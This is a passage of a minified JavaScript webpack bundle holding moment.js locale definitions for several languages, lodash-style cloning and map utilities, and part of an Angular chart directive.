e\u0999\u09cd\u0997\u09b2_\u09ac\u09c1\u09a7_\u09ac\u09c3\u09b9_\u09b6\u09c1\u0995\u09cd\u09b0_\u09b6\u09a8\u09bf".split("_"),longDateFormat:{LT:"A h:mm \u09b8\u09ae\u09df",LTS:"A h:mm:ss \u09b8\u09ae\u09df",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm \u09b8\u09ae\u09df",LLLL:"dddd, D MMMM YYYY, A h:mm \u09b8\u09ae\u09df"},calendar:{sameDay:"[\u0986\u099c] LT",nextDay:"[\u0986\u0997\u09be\u09ae\u09c0\u0995\u09be\u09b2] LT",nextWeek:"dddd, LT",lastDay:"[\u0997\u09a4\u0995\u09be\u09b2] LT",lastWeek:"[\u0997\u09a4] dddd, LT",sameElse:"L"},relativeTime:{future:"%s \u09aa\u09b0\u09c7",past:"%s \u0986\u0997\u09c7",s:"\u0995\u09df\u09c7\u0995 \u09b8\u09c7\u0995\u09c7\u09a8\u09cd\u09a1",ss:"%d \u09b8\u09c7\u0995\u09c7\u09a8\u09cd\u09a1",m:"\u098f\u0995 \u09ae\u09bf\u09a8\u09bf\u099f",mm:"%d \u09ae\u09bf\u09a8\u09bf\u099f",h:"\u098f\u0995 \u0998\u09a8\u09cd\u099f\u09be",hh:"%d \u0998\u09a8\u09cd\u099f\u09be",d:"\u098f\u0995 \u09a6\u09bf\u09a8",dd:"%d \u09a6\u09bf\u09a8",M:"\u098f\u0995 \u09ae\u09be\u09b8",MM:"%d \u09ae\u09be\u09b8",y:"\u098f\u0995 \u09ac\u099b\u09b0",yy:"%d \u09ac\u099b\u09b0"},preparse:function(e){return e.replace(/[\u09e7\u09e8\u09e9\u09ea\u09eb\u09ec\u09ed\u09ee\u09ef\u09e6]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/\u09b0\u09be\u09a4|\u09ad\u09cb\u09b0|\u09b8\u0995\u09be\u09b2|\u09a6\u09c1\u09aa\u09c1\u09b0|\u09ac\u09bf\u0995\u09be\u09b2|\u09b8\u09a8\u09cd\u09a7\u09cd\u09af\u09be|\u09b0\u09be\u09a4/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u09b0\u09be\u09a4"===t?e<4?e:e+12:"\u09ad\u09cb\u09b0"===t||"\u09b8\u0995\u09be\u09b2"===t?e:"\u09a6\u09c1\u09aa\u09c1\u09b0"===t?e>=3?e:e+12:"\u09ac\u09bf\u0995\u09be\u09b2"===t||"\u09b8\u09a8\u09cd\u09a7\u09cd\u09af\u09be"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"\u09b0\u09be\u09a4":e<6?"\u09ad\u09cb\u09b0":e<12?"\u09b8\u0995\u09be\u09b2":e<15?"\u09a6\u09c1\u09aa\u09c1\u09b0":e<18?"\u09ac\u09bf\u0995\u09be\u09b2":e<20?"\u09b8\u09a8\u09cd\u09a7\u09cd\u09af\u09be":"\u09b0\u09be\u09a4"},week:{dow:0,doy:6}})}(n("wd/R"))},lyxo:function(e,t,n){!function(e){"use strict";function t(e,t,n){var a=" ";return(e%100>=20||e>=100&&e%100==0)&&(a=" de "),e+a+{ss:"secunde",mm:"minute",hh:"ore",dd:"zile",ww:"s\u0103pt\u0103m\xe2ni",MM:"luni",yy:"ani"}[n]}e.defineLocale("ro",{months:"ianuarie_februarie_martie_aprilie_mai_iunie_iulie_august_septembrie_octombrie_noiembrie_decembrie".split("_"),monthsShort:"ian._feb._mart._apr._mai_iun._iul._aug._sept._oct._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"duminic\u0103_luni_mar\u021bi_miercuri_joi_vineri_s\xe2mb\u0103t\u0103".split("_"),weekdaysShort:"Dum_Lun_Mar_Mie_Joi_Vin_S\xe2m".split("_"),weekdaysMin:"Du_Lu_Ma_Mi_Jo_Vi_S\xe2".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[azi la] LT",nextDay:"[m\xe2ine la] LT",nextWeek:"dddd [la] LT",lastDay:"[ieri la] LT",lastWeek:"[fosta] dddd [la] LT",sameElse:"L"},relativeTime:{future:"peste %s",past:"%s \xeen urm\u0103",s:"c\xe2teva secunde",ss:t,m:"un minut",mm:t,h:"o or\u0103",hh:t,d:"o zi",dd:t,w:"o s\u0103pt\u0103m\xe2n\u0103",ww:t,M:"o lun\u0103",MM:t,y:"un an",yy:t},week:{dow:1,doy:7}})}(n("wd/R"))},nyYc:function(e,t,n){!function(e){"use strict";var t=/(janv\.?|f\xe9vr\.?|mars|avr\.?|mai|juin|juil\.?|ao\xfbt|sept\.?|oct\.?|nov\.?|d\xe9c\.?|janvier|f\xe9vrier|mars|avril|mai|juin|juillet|ao\xfbt|septembre|octobre|novembre|d\xe9cembre)/i,n=[/^janv/i,/^f\xe9vr/i,/^mars/i,/^avr/i,/^mai/i,/^juin/i,/^juil/i,/^ao\xfbt/i,/^sept/i,/^oct/i,/^nov/i,/^d\xe9c/i];e.defineLocale("fr",{months:"janvier_f\xe9vrier_mars_avril_mai_juin_juillet_ao\xfbt_septembre_octobre_novembre_d\xe9cembre".split("_"),monthsShort:"janv._f\xe9vr._mars_avr._mai_juin_juil._ao\xfbt_sept._oct._nov._d\xe9c.".split("_"),monthsRegex:t,monthsShortRegex:t,monthsStrictRegex:/^(janvier|f\xe9vrier|mars|avril|mai|juin|juillet|ao\xfbt|septembre|octobre|novembre|d\xe9cembre)/i,monthsShortStrictRegex:/(janv\.?|f\xe9vr\.?|mars|avr\.?|mai|juin|juil\.?|ao\xfbt|sept\.?|oct\.?|nov\.?|d\xe9c\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd\u2019hui \xe0] LT",nextDay:"[Demain \xe0] LT",nextWeek:"dddd [\xe0] LT",lastDay:"[Hier \xe0] LT",lastWeek:"dddd [dernier \xe0] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",w:"une semaine",ww:"%d semaines",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|)/,ordinal:function(e,t){switch(t){case"D":return e+(1===e?"er":"");default:case"M":case"Q":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}},week:{dow:1,doy:4}})}(n("wd/R"))},o1bE:function(e,t,n){!function(e){"use strict";var t=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},n={s:["\u0623\u0642\u0644 \u0645\u0646 \u062b\u0627\u0646\u064a\u0629","\u062b\u0627\u0646\u064a\u0629 \u0648\u0627\u062d\u062f\u0629",["\u062b\u0627\u0646\u064a\u062a\u0627\u0646","\u062b\u0627\u0646\u064a\u062a\u064a\u0646"],"%d \u062b\u0648\u0627\u0646","%d \u062b\u0627\u0646\u064a\u0629","%d \u062b\u0627\u0646\u064a\u0629"],m:["\u0623\u0642\u0644 \u0645\u0646 \u062f\u0642\u064a\u0642\u0629","\u062f\u0642\u064a\u0642\u0629 \u0648\u0627\u062d\u062f\u0629",["\u062f\u0642\u064a\u0642\u062a\u0627\u0646","\u062f\u0642\u064a\u0642\u062a\u064a\u0646"],"%d \u062f\u0642\u0627\u0626\u0642","%d \u062f\u0642\u064a\u0642\u0629","%d \u062f\u0642\u064a\u0642\u0629"],h:["\u0623\u0642\u0644 \u0645\u0646 \u0633\u0627\u0639\u0629","\u0633\u0627\u0639\u0629 \u0648\u0627\u062d\u062f\u0629",["\u0633\u0627\u0639\u062a\u0627\u0646","\u0633\u0627\u0639\u062a\u064a\u0646"],"%d \u0633\u0627\u0639\u0627\u062a","%d \u0633\u0627\u0639\u0629","%d \u0633\u0627\u0639\u0629"],d:["\u0623\u0642\u0644 \u0645\u0646 \u064a\u0648\u0645","\u064a\u0648\u0645 \u0648\u0627\u062d\u062f",["\u064a\u0648\u0645\u0627\u0646","\u064a\u0648\u0645\u064a\u0646"],"%d \u0623\u064a\u0627\u0645","%d \u064a\u0648\u0645\u064b\u0627","%d \u064a\u0648\u0645"],M:["\u0623\u0642\u0644 \u0645\u0646 \u0634\u0647\u0631","\u0634\u0647\u0631 \u0648\u0627\u062d\u062f",["\u0634\u0647\u0631\u0627\u0646","\u0634\u0647\u0631\u064a\u0646"],"%d \u0623\u0634\u0647\u0631","%d \u0634\u0647\u0631\u0627","%d \u0634\u0647\u0631"],y:["\u0623\u0642\u0644 \u0645\u0646 \u0639\u0627\u0645","\u0639\u0627\u0645 \u0648\u0627\u062d\u062f",["\u0639\u0627\u0645\u0627\u0646","\u0639\u0627\u0645\u064a\u0646"],"%d \u0623\u0639\u0648\u0627\u0645","%d \u0639\u0627\u0645\u064b\u0627","%d \u0639\u0627\u0645"]},a=function(e){return function(a,r,i,s){var o=t(a),l=n[e][t(a)];return 2===o&&(l=l[r?0:1]),l.replace(/%d/i,a)}},r=["\u062c\u0627\u0646\u0641\u064a","\u0641\u064a\u0641\u0631\u064a","\u0645\u0627\u0631\u0633","\u0623\u0641\u0631\u064a\u0644","\u0645\u0627\u064a","\u062c\u0648\u0627\u0646","\u062c\u0648\u064a\u0644\u064a\u0629","\u0623\u0648\u062a","\u0633\u0628\u062a\u0645\u0628\u0631","\u0623\u0643\u062a\u0648\u0628\u0631","\u0646\u0648\u0641\u0645\u0628\u0631","\u062f\u064a\u0633\u0645\u0628\u0631"];e.defineLocale("ar-dz",{months:r,monthsShort:r,weekdays:"\u0627\u0644\u0623\u062d\u062f_\u0627\u0644\u0625\u062b\u0646\u064a\u0646_\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621_\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621_\u0627\u0644\u062e\u0645\u064a\u0633_\u0627\u0644\u062c\u0645\u0639\u0629_\u0627\u0644\u0633\u0628\u062a".split("_"),weekdaysShort:"\u0623\u062d\u062f_\u0625\u062b\u0646\u064a\u0646_\u062b\u0644\u0627\u062b\u0627\u0621_\u0623\u0631\u0628\u0639\u0627\u0621_\u062e\u0645\u064a\u0633_\u062c\u0645\u0639\u0629_\u0633\u0628\u062a".split("_"),weekdaysMin:"\u062d_\u0646_\u062b_\u0631_\u062e_\u062c_\u0633".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/\u200fM/\u200fYYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/\u0635|\u0645/,isPM:function(e){return"\u0645"===e},meridiem:function(e,t,n){return e<12?"\u0635":"\u0645"},calendar:{sameDay:"[\u0627\u0644\u064a\u0648\u0645 \u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",nextDay:"[\u063a\u062f\u064b\u0627 \u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",nextWeek:"dddd [\u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",lastDay:"[\u0623\u0645\u0633 \u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",lastWeek:"dddd [\u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",sameElse:"L"},relativeTime:{future:"\u0628\u0639\u062f %s",past:"\u0645\u0646\u0630 %s",s:a("s"),ss:a("s"),m:a("m"),mm:a("m"),h:a("h"),hh:a("h"),d:a("d"),dd:a("d"),M:a("M"),MM:a("M"),y:a("y"),yy:a("y")},postformat:function(e){return e.replace(/,/g,"\u060c")},week:{dow:0,doy:4}})}(n("wd/R"))},"p/rL":function(e,t,n){!function(e){"use strict";e.defineLocale("bm",{months:"Zanwuyekalo_Fewuruyekalo_Marisikalo_Awirilikalo_M\u025bkalo_Zuw\u025bnkalo_Zuluyekalo_Utikalo_S\u025btanburukalo_\u0254kut\u0254burukalo_Nowanburukalo_Desanburukalo".split("_"),monthsShort:"Zan_Few_Mar_Awi_M\u025b_Zuw_Zul_Uti_S\u025bt_\u0254ku_Now_Des".split("_"),weekdays:"Kari_Nt\u025bn\u025bn_Tarata_Araba_Alamisa_Juma_Sibiri".split("_"),weekdaysShort:"Kar_Nt\u025b_Tar_Ara_Ala_Jum_Sib".split("_"),weekdaysMin:"Ka_Nt_Ta_Ar_Al_Ju_Si".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"MMMM [tile] D [san] YYYY",LLL:"MMMM [tile] D [san] YYYY [l\u025br\u025b] HH:mm",LLLL:"dddd MMMM [tile] D [san] YYYY [l\u025br\u025b] HH:mm"},calendar:{sameDay:"[Bi l\u025br\u025b] LT",nextDay:"[Sini l\u025br\u025b] LT",nextWeek:"dddd [don l\u025br\u025b] LT",lastDay:"[Kunu l\u025br\u025b] LT",lastWeek:"dddd [t\u025bm\u025bnen l\u025br\u025b] LT",sameElse:"L"},relativeTime:{future:"%s k\u0254n\u0254",past:"a b\u025b %s b\u0254",s:"sanga dama dama",ss:"sekondi %d",m:"miniti kelen",mm:"miniti %d",h:"l\u025br\u025b kelen",hh:"l\u025br\u025b %d",d:"tile kelen",dd:"tile %d",M:"kalo kelen",MM:"kalo %d",y:"san kelen",yy:"san %d"},week:{dow:1,doy:4}})}(n("wd/R"))},p8j0:function(e,t,n){"use strict";n.r(t);var a=n("8Y7J");class r{}var i=n("pMnS"),s=n("2Vo4"),o=function(e,t){return e===t||e!=e&&t!=t},l=function(e,t){for(var n=e.length;n--;)if(o(e[n][0],t))return n;return-1},d=Array.prototype.splice;function u(e){var t=-1,n=null==e?0:e.length;for(this.clear();++t<n;){var a=e[t];this.set(a[0],a[1])}}u.prototype.clear=function(){this.__data__=[],this.size=0},u.prototype.delete=function(e){var t=this.__data__,n=l(t,e);return!(n<0||(n==t.length-1?t.pop():d.call(t,n,1),--this.size,0))},u.prototype.get=function(e){var t=this.__data__,n=l(t,e);return n<0?void 0:t[n][1]},u.prototype.has=function(e){return l(this.__data__,e)>-1},u.prototype.set=function(e,t){var n=this.__data__,a=l(n,e);return a<0?(++this.size,n.push([e,t])):n[a][1]=t,this};var c,h=u,m=n("Ju5/"),_=m.a.Symbol,f=Object.prototype,p=f.hasOwnProperty,g=f.toString,b=_?_.toStringTag:void 0,y=Object.prototype.toString,M=_?_.toStringTag:void 0,v=function(e){return null==e?void 0===e?"[object Undefined]":"[object Null]":M&&M in Object(e)?function(e){var t=p.call(e,b),n=e[b];try{e[b]=void 0;var a=!0}catch(i){}var r=g.call(e);return a&&(t?e[b]=n:delete e[b]),r}(e):function(e){return y.call(e)}(e)},L=function(e){var t=typeof e;return null!=e&&("object"==t||"function"==t)},k=function(e){if(!L(e))return!1;var t=v(e);return"[object Function]"==t||"[object GeneratorFunction]"==t||"[object AsyncFunction]"==t||"[object Proxy]"==t},w=m.a["__core-js_shared__"],x=(c=/[^.]+$/.exec(w&&w.keys&&w.keys.IE_PROTO||""))?"Symbol(src)_1."+c:"",D=Function.prototype.toString,Y=function(e){if(null!=e){try{return D.call(e)}catch(t){}try{return e+""}catch(t){}}return""},T=/^\[object .+?Constructor\]$/,S=RegExp("^"+Function.prototype.toString.call(Object.prototype.hasOwnProperty).replace(/[\\^$.*+?()[\]{}|]/g,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$"),C=function(e,t){var n=function(e,t){return null==e?void 0:e[t]}(e,t);return function(e){return!(!L(e)||(t=e,x&&x in t))&&(k(e)?S:T).test(Y(e));var t}(n)?n:void 0},j=C(m.a,"Map"),O=C(Object,"create"),H=Object.prototype.hasOwnProperty,A=Object.prototype.hasOwnProperty;function P(e){var t=-1,n=null==e?0:e.length;for(this.clear();++t<n;){var a=e[t];this.set(a[0],a[1])}}P.prototype.clear=function(){this.__data__=O?O(null):{},this.size=0},P.prototype.delete=function(e){var t=this.has(e)&&delete this.__data__[e];return this.size-=t?1:0,t},P.prototype.get=function(e){var t=this.__data__;if(O){var n=t[e];return"__lodash_hash_undefined__"===n?void 0:n}return H.call(t,e)?t[e]:void 0},P.prototype.has=function(e){var t=this.__data__;return O?void 0!==t[e]:A.call(t,e)},P.prototype.set=function(e,t){var n=this.__data__;return this.size+=this.has(e)?0:1,n[e]=O&&void 0===t?"__lodash_hash_undefined__":t,this};var F=P,I=function(e,t){var n,a,r=e.__data__;return("string"==(a=typeof(n=t))||"number"==a||"symbol"==a||"boolean"==a?"__proto__"!==n:null===n)?r["string"==typeof t?"string":"hash"]:r.map};function E(e){var t=-1,n=null==e?0:e.length;for(this.clear();++t<n;){var a=e[t];this.set(a[0],a[1])}}E.prototype.clear=function(){this.size=0,this.__data__={hash:new F,map:new(j||h),string:new F}},E.prototype.delete=function(e){var t=I(this,e).delete(e);return this.size-=t?1:0,t},E.prototype.get=function(e){return I(this,e).get(e)},E.prototype.has=function(e){return I(this,e).has(e)},E.prototype.set=function(e,t){var n=I(this,e),a=n.size;return n.set(e,t),this.size+=n.size==a?0:1,this};var R=E;function N(e){var t=this.__data__=new h(e);this.size=t.size}N.prototype.clear=function(){this.__data__=new h,this.size=0},N.prototype.delete=function(e){var t=this.__data__,n=t.delete(e);return this.size=t.size,n},N.prototype.get=function(e){return this.__data__.get(e)},N.prototype.has=function(e){return this.__data__.has(e)},N.prototype.set=function(e,t){var n=this.__data__;if(n instanceof h){var a=n.__data__;if(!j||a.length<199)return a.push([e,t]),this.size=++n.size,this;n=this.__data__=new R(a)}return n.set(e,t),this.size=n.size,this};var W=N,z=function(){try{var e=C(Object,"defineProperty");return e({},"",{}),e}catch(t){}}(),V=function(e,t,n){"__proto__"==t&&z?z(e,t,{configurable:!0,enumerable:!0,value:n,writable:!0}):e[t]=n},q=Object.prototype.hasOwnProperty,B=function(e,t,n){var a=e[t];q.call(e,t)&&o(a,n)&&(void 0!==n||t in e)||V(e,t,n)},G=function(e,t,n,a){var r=!n;n||(n={});for(var i=-1,s=t.length;++i<s;){var o=t[i],l=a?a(n[o],e[o],o,n,e):void 0;void 0===l&&(l=e[o]),r?V(n,o,l):B(n,o,l)}return n},J=function(e){return null!=e&&"object"==typeof e},U=function(e){return J(e)&&"[object Arguments]"==v(e)},$=Object.prototype,K=$.hasOwnProperty,Z=$.propertyIsEnumerable,X=U(function(){return arguments}())?U:function(e){return J(e)&&K.call(e,"callee")&&!Z.call(e,"callee")},Q=Array.isArray,ee=n("WOAq"),te=/^(?:0|[1-9]\d*)$/,ne=function(e,t){var n=typeof e;return!!(t=null==t?9007199254740991:t)&&("number"==n||"symbol"!=n&&te.test(e))&&e>-1&&e%1==0&&e<t},ae=function(e){return"number"==typeof e&&e>-1&&e%1==0&&e<=9007199254740991},re={};re["[object Float32Array]"]=re["[object Float64Array]"]=re["[object Int8Array]"]=re["[object Int16Array]"]=re["[object Int32Array]"]=re["[object Uint8Array]"]=re["[object Uint8ClampedArray]"]=re["[object Uint16Array]"]=re["[object Uint32Array]"]=!0,re["[object Arguments]"]=re["[object Array]"]=re["[object ArrayBuffer]"]=re["[object Boolean]"]=re["[object DataView]"]=re["[object Date]"]=re["[object Error]"]=re["[object Function]"]=re["[object Map]"]=re["[object Number]"]=re["[object Object]"]=re["[object RegExp]"]=re["[object Set]"]=re["[object String]"]=re["[object WeakMap]"]=!1;var ie=function(e){return function(t){return e(t)}},se=n("xutz"),oe=se.a&&se.a.isTypedArray,le=oe?ie(oe):function(e){return J(e)&&ae(e.length)&&!!re[v(e)]},de=Object.prototype.hasOwnProperty,ue=function(e,t){var n=Q(e),a=!n&&X(e),r=!n&&!a&&Object(ee.a)(e),i=!n&&!a&&!r&&le(e),s=n||a||r||i,o=s?function(e,t){for(var n=-1,a=Array(e);++n<e;)a[n]=t(n);return a}(e.length,String):[],l=o.length;for(var d in e)!t&&!de.call(e,d)||s&&("length"==d||r&&("offset"==d||"parent"==d)||i&&("buffer"==d||"byteLength"==d||"byteOffset"==d)||ne(d,l))||o.push(d);return o},ce=Object.prototype,he=function(e){var t=e&&e.constructor;return e===("function"==typeof t&&t.prototype||ce)},me=function(e,t){return function(n){return e(t(n))}},_e=me(Object.keys,Object),fe=Object.prototype.hasOwnProperty,pe=function(e){return null!=e&&ae(e.length)&&!k(e)},ge=function(e){return pe(e)?ue(e):function(e){if(!he(e))return _e(e);var t=[];for(var n in Object(e))fe.call(e,n)&&"constructor"!=n&&t.push(n);return t}(e)},be=Object.prototype.hasOwnProperty,ye=function(e){return pe(e)?ue(e,!0):function(e){if(!L(e))return function(e){var t=[];if(null!=e)for(var n in Object(e))t.push(n);return t}(e);var t=he(e),n=[];for(var a in e)("constructor"!=a||!t&&be.call(e,a))&&n.push(a);return n}(e)},Me=n("3/ER"),ve=function(){return[]},Le=Object.prototype.propertyIsEnumerable,ke=Object.getOwnPropertySymbols,we=ke?function(e){return null==e?[]:(e=Object(e),function(t,n){for(var a=-1,r=null==t?0:t.length,i=0,s=[];++a<r;){var o=t[a];Le.call(e,o)&&(s[i++]=o)}return s}(ke(e)))}:ve,xe=function(e,t){for(var n=-1,a=t.length,r=e.length;++n<a;)e[r+n]=t[n];return e},De=me(Object.getPrototypeOf,Object),Ye=Object.getOwnPropertySymbols?function(e){for(var t=[];e;)xe(t,we(e)),e=De(e);return t}:ve,Te=function(e,t,n){var a=t(e);return Q(e)?a:xe(a,n(e))},Se=function(e){return Te(e,ge,we)},Ce=function(e){return Te(e,ye,Ye)},je=C(m.a,"DataView"),Oe=C(m.a,"Promise"),He=C(m.a,"Set"),Ae=C(m.a,"WeakMap"),Pe=Y(je),Fe=Y(j),Ie=Y(Oe),Ee=Y(He),Re=Y(Ae),Ne=v;(je&&"[object DataView]"!=Ne(new je(new ArrayBuffer(1)))||j&&"[object Map]"!=Ne(new j)||Oe&&"[object Promise]"!=Ne(Oe.resolve())||He&&"[object Set]"!=Ne(new He)||Ae&&"[object WeakMap]"!=Ne(new Ae))&&(Ne=function(e){var t=v(e),n="[object Object]"==t?e.constructor:void 0,a=n?Y(n):"";if(a)switch(a){case Pe:return"[object DataView]";case Fe:return"[object Map]";case Ie:return"[object Promise]";case Ee:return"[object Set]";case Re:return"[object WeakMap]"}return t});var We=Ne,ze=Object.prototype.hasOwnProperty,Ve=m.a.Uint8Array,qe=function(e){var t=new e.constructor(e.byteLength);return new Ve(t).set(new Ve(e)),t},Be=/\w*$/,Ge=_?_.prototype:void 0,Je=Ge?Ge.valueOf:void 0,Ue=Object.create,$e=function(){function e(){}return function(t){if(!L(t))return{};if(Ue)return Ue(t);e.prototype=t;var n=new e;return e.prototype=void 0,n}}(),Ke=se.a&&se.a.isMap,Ze=Ke?ie(Ke):function(e){return J(e)&&"[object Map]"==We(e)},Xe=se.a&&se.a.isSet,Qe=Xe?ie(Xe):function(e){return J(e)&&"[object Set]"==We(e)},et={};et["[object Arguments]"]=et["[object Array]"]=et["[object ArrayBuffer]"]=et["[object DataView]"]=et["[object Boolean]"]=et["[object Date]"]=et["[object Float32Array]"]=et["[object Float64Array]"]=et["[object Int8Array]"]=et["[object Int16Array]"]=et["[object Int32Array]"]=et["[object Map]"]=et["[object Number]"]=et["[object Object]"]=et["[object RegExp]"]=et["[object Set]"]=et["[object String]"]=et["[object Symbol]"]=et["[object Uint8Array]"]=et["[object Uint8ClampedArray]"]=et["[object Uint16Array]"]=et["[object Uint32Array]"]=!0,et["[object Error]"]=et["[object Function]"]=et["[object WeakMap]"]=!1;var tt=function e(t,n,a,r,i,s){var o,l=1&n,d=2&n,u=4&n;if(a&&(o=i?a(t,r,i,s):a(t)),void 0!==o)return o;if(!L(t))return t;var c=Q(t);if(c){if(o=function(e){var t=e.length,n=new e.constructor(t);return t&&"string"==typeof e[0]&&ze.call(e,"index")&&(n.index=e.index,n.input=e.input),n}(t),!l)return function(e,t){var n=-1,a=e.length;for(t||(t=Array(a));++n<a;)t[n]=e[n];return t}(t,o)}else{var h=We(t),m="[object Function]"==h||"[object GeneratorFunction]"==h;if(Object(ee.a)(t))return Object(Me.a)(t,l);if("[object Object]"==h||"[object Arguments]"==h||m&&!i){if(o=d||m?{}:function(e){return"function"!=typeof e.constructor||he(e)?{}:$e(De(e))}(t),!l)return d?function(e,t){return G(e,Ye(e),t)}(t,function(e,t){return e&&G(t,ye(t),e)}(o,t)):function(e,t){return G(e,we(e),t)}(t,function(e,t){return e&&G(t,ge(t),e)}(o,t))}else{if(!et[h])return i?t:{};o=function(e,t,n){var a,r,i=e.constructor;switch(t){case"[object ArrayBuffer]":return qe(e);case"[object Boolean]":case"[object Date]":return new i(+e);case"[object DataView]":return function(e,t){var n=t?qe(e.buffer):e.buffer;return new e.constructor(n,e.byteOffset,e.byteLength)}(e,n);case"[object Float32Array]":case"[object Float64Array]":case"[object Int8Array]":case"[object Int16Array]":case"[object Int32Array]":case"[object Uint8Array]":case"[object Uint8ClampedArray]":case"[object Uint16Array]":case"[object Uint32Array]":return function(e,t){var n=t?qe(e.buffer):e.buffer;return new e.constructor(n,e.byteOffset,e.length)}(e,n);case"[object Map]":return new i;case"[object Number]":case"[object String]":return new i(e);case"[object RegExp]":return(r=new(a=e).constructor(a.source,Be.exec(a))).lastIndex=a.lastIndex,r;case"[object Set]":return new i;case"[object Symbol]":return Je?Object(Je.call(e)):{}}}(t,h,l)}}s||(s=new W);var _=s.get(t);if(_)return _;s.set(t,o),Qe(t)?t.forEach((function(r){o.add(e(r,n,a,r,t,s))})):Ze(t)&&t.forEach((function(r,i){o.set(i,e(r,n,a,i,t,s))}));var f=c?void 0:(u?d?Ce:Se:d?ye:ge)(t);return function(e,t){for(var n=-1,a=null==e?0:e.length;++n<a&&!1!==t(e[n],n););}(f||t,(function(r,i){f&&(r=t[i=r]),B(o,i,e(r,n,a,i,t,s))})),o},nt=n("MO+k");const at=[[255,99,132],[54,162,235],[255,206,86],[231,233,237],[75,192,192],[151,187,205],[220,220,220],[247,70,74],[70,191,189],[253,180,92],[148,159,177],[77,83,96]];function rt(e,t){return"rgba("+e.concat(t).join(",")+")"}function it(e,t){return Math.floor(Math.random()*(t-e+1))+e}function st(e){return{backgroundColor:e.map(e=>rt(e,.6)),borderColor:e.map(()=>"#fff"),pointBackgroundColor:e.map(e=>rt(e,1)),pointBorderColor:e.map(()=>"#fff"),pointHoverBackgroundColor:e.map(e=>rt(e,1)),pointHoverBorderColor:e.map(e=>rt(e,1))}}function ot(){return[it(0,255),it(0,255),it(0,255)]}function lt(e){return at[e]||ot()}function dt(e){const t=new Array(e);for(let n=0;n<e;n++)t[n]=at[n]||ot();return t}let ut=(()=>{class e{constructor(){this.pColorschemesOptions={},this.colorschemesOptions=new s.a({})}setColorschemesOptions(e){this.pColorschemesOptions=e,this.colorschemesOptions.next(e)}getColorschemesOptions(){return this.pColorschemesOptions}}return e.\u0275prov=Object(a.Nb)({factory:function(){return new e},token:e,providedIn:"root"}),e})();const ct=function(){var e={Default:0,Update:1,Refresh:2};return e[e.Default]="Default",e[e.Update]="Update",e[e.Refresh]="Refresh",e}();class ht{constructor(e,t){this.element=e,this.themeService=t,this.options={},this.chartClick=new a.m,this.chartHover=new a.m,this.old={dataExists:!1,dataLength:0,datasetsExists:!1,datasetsLength:0,datasetsDataObjects:[],datasetsDataLengths:[],colorsExists:!1,colors:[],labelsExist:!1,labels:[],legendExists:!1,legend:{}},this.subs=[]}static registerPlugin(e){nt.pluginService.register(e)}static unregisterPlugin(e){nt.pluginService.unregister(e)}ngOnInit(){this.ctx=this.element.nativeElement.getContext("2d"),this.refresh(),this.subs.push(this.themeService.colorschemesOptions.subscribe(e=>this.themeChanged(e)))}themeChanged(e){this.refresh()}ngDoCheck(){if(!this.chart)return;let e=ct.Default;const t=t=>{e=t>e?t:e};switch(!!this.data!==this.old.dataExists&&(this.propagateDataToDatasets(this.data),this.old.dataExists=!!this.data,t(ct.Update)),this.data&&this.data.length!==this.old.dataLength&&(this.old.dataLength=this.data&&this.data.length||0,t(ct.Update)),!!this.datasets!==this.old.datasetsExists&&(this.old.datasetsExists=!!this.datasets,t(ct.Update)),this.datasets&&this.datasets.length!==this.old.datasetsLength&&(this.old.datasetsLength=this.datasets&&this.datasets.length||0,t(ct.Update)),this.datasets&&this.datasets.filter((e,t)=>e.data!==this.old.datasetsDataObjects[t]).length&&(this.old.datasetsDataObjects=this.datasets.map(e=>e.data),t(ct.Update)),this.datasets&&this.datasets.filter((e,t)=>e.data.length!==this.old.datasetsDataLengths[t]).length&&(this.old.datasetsDataLengths=this.datasets.map(e=>e.data.length),t(ct.Update)),!!this.colors!==this.old.colorsExists&&(this.old.colorsExists=!!this.colors,this.updateColors(),t(ct.Update)),this.colors&&this.colors.filter((e,t)=>!this.colorsEqual(e,this.old.colors[t])).length&&(this.old.colors=this.colors.map(e=>this.copyColor(e)),this.updateColors(),t(ct.Update)),!!this.labels!==this.old.labelsExist&&(this.old.labelsExist=!!this.labels,t(ct.Update)),this.labels&&this.labels.filter((e,t)=>!this.labelsEqual(e,this.old.labels[t])).leng